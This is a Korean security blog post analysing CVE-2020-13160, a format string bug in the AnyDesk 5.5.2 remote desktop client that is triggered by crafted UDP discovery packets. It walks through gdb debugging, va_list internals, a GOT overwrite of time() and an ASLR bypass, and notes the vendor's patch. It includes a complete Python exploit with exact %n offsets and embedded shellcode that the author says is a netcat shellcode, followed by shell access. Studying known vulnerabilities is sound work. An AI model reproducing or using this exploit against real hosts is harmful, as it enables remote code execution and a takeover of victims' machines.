ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [1-day] Anydesk CVE-2020-13160 분석
    # 시스템 해킹 공부중 2021. 3. 6. 12:49

    Anydesk 라는 원격 제어프로그램에서 퍼징으로 Format String Bug를 발견하고 리포트한 상세한 과정을 작성한 글이 있어서 재밌게 읽었었다. 이번엔 한번 직접 따라해보고 해당 취약점을 정리해보려고 한다. 퍼저를 만드는 과정과 상세한 분석 과정, 흐름 등은 아래 원문에서 보길 바란다. 영어로 작성되어 있지만 그리 어려운 표현은 없고 코드나 그림 위주로 봐도 충분히 이해할 수 있다. 취약한 버전은 Anydesk 5.5.2 이다. 

    devel0pment.de/?p=1881#vsnprintf

     

    AnyDesk UDP Discovery Remote Code Execution (CVE-2020-13160) – devel0pment.de

    One of my goals for this year is to spend a little bit more of my spare time on real world applications. Doing so I took a look at the remote desktop application AnyDesk, which seems to quickly raise in popularity not only because of COVID-19. AnyDesk is a

    devel0pment.de

    1. Crash

    [anydesk]

    이 취약점은 Anydesk의 front-end GUI 프로세스에서 발생했다. 네트워크에 원격 접속이 가능한 시스템의 hostname과 username을 출력할 때 유효하지 않은 UTF-8 문자가 존재하면 에러메시지를 출력하면서 FSB가 발생한다. 에러메시지는 ~/anydesk/.anydesk.trace 에 파일로 출력된다. 50001 포트로 UDP 패킷이 도달하면 프로그램 front-end에 출력되며 해당 패킷을 잡아서 똑같이 보내면 username과 hostname을 수정해서 보낼 수 있다. 

    # Reference : https://devel0pment.de/?p=1881#vsnprintf 
    import struct
    import socket
     
    ip = '127.0.0.1'
    port = 50001
     
    def gen_discover_packet(ad_id, os, hn, user, inf, func):
        d = chr(0x3e)+chr(0xd1)+chr(0x1)
        d += struct.pack('>I', ad_id)
        d += struct.pack('>I', 0)
        d += chr(0x2)+chr(os)
        d += struct.pack('>I', len(hn)) + hn
        d += struct.pack('>I', len(user)) + user
        d += struct.pack('>I', 0)
        d += struct.pack('>I', len(inf)) + inf
        d += chr(0)
        d += struct.pack('>I', len(func)) + func
        d += chr(0x2)+chr(0xc3)+chr(0x51)
        return d
     
    p = gen_discover_packet(4919, 1, '\xec\x9chostname%n%n', '\xec\x9cusername%n%n', 'ad', 'main')
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(p, (ip, port))
    s.close()
    

    python 으로 위와 같이 데이터를 구성해서 socket으로 전송함면 된다. 해당 데이터 형태는 Wireshark로 패킷을 잡아보면 쉽게 알 수 있다. crash는 hostname과 username에 유효하지않은 UTF-8 문자를 넣어주고 %n 지정자를 넣어주면 발생한다. UTF-8은 취약점이 있는 함수로의 분기를 위해서 넣어주고 %n은 crash를 발생시키기 위함이다.

    [crash-point]
    [backtraace]
    [ida-vsnprintf]

    gdb /usr/bin/anydesk -p {PID of anydesk front-end process}

    gdb로 attach한 다음 취약점을 발생시키고 crash가 발생한 부분에서 bt 명령어로 backtrace를 살펴본다. 그리고 취약점이 발생한 함수를 찾아가보면(0x0ab346) vsnprintf 가 있으며 여기서 FSB가 발생했음을 알 수 있다. 

    [checksec]

    그리고 놀라운건 아무런 보호기법이 걸려있지 않았다...(덕분에 익스하기엔 간편했다)

    2. vsnprintf

    int vsnprintf(char *str, size_t size, const char *format, va_list ap);

    vsnprintf는 snprintf와 거의 유사한데 함수 인자 마지막이 va_list 타입 변수가 온다는 점에서 차이가 있다. va_list 구조체에는 gp_offset, fp_offset, overflow_arg_area, reg_save_area 이렇게 네가지 변수가 존재하며 각각의 변수에는 다음과 같은 값들이 들어간다. 

    reg_save_area : 레지스터로 전달되는 인자들이 있는 스택 Entry 주소
    overflow_arg_area : 인자가 6개를 초과한 경우 초과한 인자들이 있는 스택 Entry 주소 
    gp_offset : 일반적인 인자들의 offset (스택 Entry 주소로부터 가변 인자의 시작 위치)
    fp_offset : floating parameters offset (fp_offset은 특수 인자들의 offset을 가리키는 것 같은데 이 특수 인자들의 정확한 역할은 아직 모르겠다)

    리눅스 64bit에서 인자 6개까지는 RDX,RCX,RDI,RSI,R8,R9 순서대로 전달되며 초과된 인자들은 스택에 push되어 전달된다. 이 때 레지스터로 전달될 인자들, 스택으로 전달될 인자들을 구분해둔게 reg_save_area, overflow_arg_area 라고 생각하면 될 것 같다.

    [call vsnprintf]
    [vsnprintf format string]

    값들을 확인해보기 위해서 vsnprintf 에 bp를 걸고 3번째 인자값인 format 부분을 출력해보았다. 에러메시지와 함께 포맷스트링이 함께 포함되어있다.

    [vsnprintf va_list]

    그리고 va_list arg도 마찬가지로 출력해서 gp_offset, fp_offset, reg_save_area, overflow_arg_area 값들을 모두 확인했다. 

    [reg_save_area]

    이어서 reg_save_area도 확인했다. gp_offset을 스택 Entry에 더해주면되는데 gp_offset이 0x10이라는건 해당 함수의 고정 인자가 앞에 2개가 있다는 것으로 생각하면 되는 것 같다. 즉 위 그림처럼 4개의 인자값이 2개를 제외한 나머지 레지스터로 전달할 인자값들이다. 현재 상태에서 4개중 첫번째 인자는 vsnprintf의 format string 주소값이 들어있고 format string은 현재 heap 영역에 있다는 사실도 알 수 있다.

    [overflow_arg_area]

    [reg_save_area] 그림에 format string을 보면 내가 현재 테스팅하기 위햇 넣어둔 %p 10개가 있다. 이 10개중 4개는 reg_save_area에 있는 값들을 출력할 것이고, 나머지 6개는 [overflow_arg_area]에 있는 값을 출력할 것이다. 

    [fsb_test]

    ni 명령어로 vsnprintf 를 실행시킨다음 vnsprintf의 첫번째 인자를 출력시켜보면 위 그림처럼 우리가 생각한대로 출력되는 것을 확인할 수 있다. (그림과 메모리값이 조금씩 다른 부분은 스크린샷을 찍은 타이밍이 달라서 그렇다)

    3. Format String Bug

    위에서 문자열에 포맷지정자를 사용하면 FSB가 발생한다는걸 확인할 수 있었다. 이걸 활용해서 exploit을 하면된다. FSB가 위험한 이유는 메모리 값을 유출하는 것에도 있지만 %n과 같은 지정자를 이용해서 메모리에 값을 쓸 수 있고 꽤 기능이 다양해서 어느정도 메모리 탐색까지 가능하다.

    예를들어 "%10$p" 는 가변인자중 10번째 값을 출력한다는 의미로 사용된다. 그리고 "%1000x" 는 해당 지정자로 출력할 때 폭을 1000개의 칸으로 출력하라는 의미다. 이 출력 폭을 field_width라고도 한다. 심지어 이 field_width 값을 가변인자로 사용할수도 있다. "%*2$x"와 같이 사용할 경우 field_width를 두번째 가변인자값 만큼 지정한다는 의미다. 이런 기능들을 활용해서 exploit을 이끌어낼 수 있다.

    Senario

    [fsb-senario]

    현재 FSB로 접근할 수 있는 메모리 공간은 overflow_arg_area 이후 공간이다. 그래서 원하는 곳에 값을 쓰기 위해서는 위 그림처럼 우선 원하는 곳의 주소값을 접근 가능한 곳에 쓰고, 해당 공간으로 한번 더 FSB로 접근해서 데이터를 써야한다. %n 지정자는 지정자에 해당하는 인자값을 주소값으로 사용해서 해당 주소에 %n 이전에 출력된 문자수를 입력한다. 이 시나리오대로 공격하기 위해선 위 그림에서 [], {}, (), <> 에 해당하는 값들을 찾아서 넣어줘야 한다. 

    FSB가 두번 이뤄져야하는데 취약점이 hostname과 username 두 문자열을 처리할 때 똑같이 발생하기 때문에 FSB 역시 두번 발생한다(username이 먼저 hit된다). 문제는 hostname과 username을 각각 처리하고 나서 우리가 처음 FSB로 값을 바꿔준 스택의 값(그림에서 {}위치)이 그대로 유지가 되어야 한다는 것이다. 이걸 찾기 위해서는 그냥 telescope 명령어로 overflow_arg_area 를 쭉 출력시켜서 첫번째 vsnprintf가 실행되고나서 두번째 vsnprintf가 호출될 때 같은 값이 유지되는 스택값을 찾아야한다. 

    [first hit]

    gen_discover_packet(4919, 1, '\xec\x9c %163$p', '\xec\x9c%18472249 %93$ln', 'ad', 'main')
    # telescope {overflow_arg_area's addr} 100

    [first hit]은 위 코드를 Anydesk로 전송했을 때 메모리 값이다. gdb에서 telescope 명령으로 overflow_arg_area에서부터 충분히 많은 메모리값을 확인한다. 계속 프로그램을 반복 실행시키면서 찾아보면 첫번째 vsnprintf를 호출한 직후에 93번째 인자에 해당하는 0x7ffffffeb3f0에 0x7ffffffeb620이 들어있고 %n 지정자에 의해서 0x7ffffffeb620에는 0x90(%n 앞까지 출력된 문자 개수)이 들어가있다. 

    [second hit]
    [second hit check]

    이어서 두번째 vsnprintf가 실행되기 전에 다시 telescope로 확인해보면 163번째 인자 즉 앞에서 값이 들어간 0x7ffffffeb620 자리에 그대로 0x90이 들어있는걸 확인할 수 있다. 이것으로 우리는 [] 값과 <> 값을 알아내었다. 이제 우리가 알아야 할 것은 {} 자리에 어떤 값을 넣어서 () 자리에 어떤 데이터를 넣어서 exploit을 할지 생각해야한다. 

    보통 exploit을 할 때 어떤 함수의 GOT 를 overwrite해서 함수를 호출하는 방법으로 exploit을 하는데 이번에도 같은 방법으로 exploit이 가능하다. 

    [ida-vsnprintf]

    앞에서 봤던 ida를 다시보면 vsnprintf가 호출된 다음에 바로 이어서 time 함수가 호출된다. 즉 vsnprintf로 time함수의 GOT를 특정 값으로 덮어서 exploit을 할 수 있는데 현재 anydesk는 아무런 보호기법이 없기 때문에 적절한 곳에 shellcode를 넣고 shellcode의 주소를 time GOT에 덮는 방법을 사용할 수 있다. 

    [time@got]

    time 함수의 GOT영역은 0x119ddc0 이다. 우리는 앞에서 본 93번째 인자를 이용해서 {} 위치에 0x119ddc0을 넣어주고 두번째 vsnprintf call에서 163번째 인자를 이용해 shellcode 주소를 넣어주면 된다. 

    [got overwrtie test]

    %n은 앞에 출력된 문자의 수가 입력되기 때문에 0x119ddc0 를 쓰기 위해선 18472384(0x119ddc0) - 133(에러문자열) - 2(유니코드) = 18472249 를 field_width로 출력해준다. 위 그림은 time got영역에 제대로 써지는지 테스트하기 위한 코드로 0x1234를 써보았다. 

    [time@got overewrite]

    정확하게 써진다. 이제 이 위치에 0x1234가 아니라 shellcode의 주소를 넣으면 된다.

    일단 아무런 보호기법은 없지만 ALSR은 OS단에서 적용되기 때문에 ASLR은 우회를 해야한다. 어디든 shellcode를 넣고 주소 leak을 해야하는데 앞에서 봤던 vsnprintf의 가변인자 첫번째 값이 heap 영역에 있는 format string의 주소가 들어있었다. 이를 이용하면 ASLR을 우회할 수 있다. 

    [reg_save_area]

    첫번째 가변인자에 heap 공간의 주소가 있고 그 공간에는 우리가 입력해준 문자열이 포함되어 있다. 그래서 포맷 지정자로 %*$1x%165ln 처럼 넣어주면 가변인자 첫번째 값이 %n 지정자에 의해 입력된다. 즉 문자열 뒤로 shellcode를 넣어준 다음 해당 위치를 time GOT영역에 덮어쓰면 된다. 이런 방법은 heap 영역에 실행권한이 있어서 가능한 공격이다. 

    4. Exploit

    import struct
    import socket
     
    ip = '127.0.0.1'
    port = 50001
     
    def gen_discover_packet(ad_id, os, hn, user, inf, func):
        d = chr(0x3e)+chr(0xd1)+chr(0x1)
        d += struct.pack('>I', ad_id)
        d += struct.pack('>I', 0)
        d += chr(0x2)+chr(os)
        d += struct.pack('>I', len(hn)) + hn
        d += struct.pack('>I', len(user)) + user
        d += struct.pack('>I', 0)
        d += struct.pack('>I', len(inf)) + inf
        d += chr(0)
        d += struct.pack('>I', len(func)) + func
        d += chr(0x2)+chr(0xc3)+chr(0x51)
        return d
    
    shellcode =  b""
    shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
    shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
    shellcode += b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
    shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
    shellcode += b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
    shellcode += b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
    shellcode += b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
    shellcode += b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
    shellcode += b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
    shellcode += b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
    shellcode += b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
    
    p = gen_discover_packet(4919, 1, '\xec\x9c%*1$x%16x%163$ln'+shellcode, '\xec\x9c%18472249x%93$ln', 'ad', 'main')
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(p, (ip, port))
    s.close()
    

    shellcode는 원래 xcalc를 실행하는 shellcode를 넣으려고 했으나 anydesk가 터지면서 계산기가 같이 종료되버리는 것 같아 그냥 원문에 있는 netcat shellcode를 그대로 가져왔다. shellcode앞에 %16x를 넣은 이유는 주소를 shellcode 주소로 맞춰주기 위한 dummy값이다. 

    [complete]

    nc로 연결되면서 shell 명령을 전달할 수 있다. 직접 분석하다보니 원문에 있는 것과 일부 값들이 좀 차이가 있었지만 대체로 똑같이 진행 되었다. 

    [patch]

    다음 버전을 보면 Full RELRO가 적용된 것을 확인할 수 있다. 

    [patch - 2]

    그리고 기존에 vsnprintf의 포맷스트링으로 username과 hostname이 포함된 에러메시지가 들어가있던 반면에 '%s'가 들어가있고 [patch - 2]와 같이 '%s'의 인자값으로 에러메시지가 전달되는 것을 확인할 수 있다. 이러면 에러메시지가 출력되지만 % 특수문자가 문자열로 취급되기 때문에 FSB가 발생하지 않는다.

    댓글

Designed by Tistory.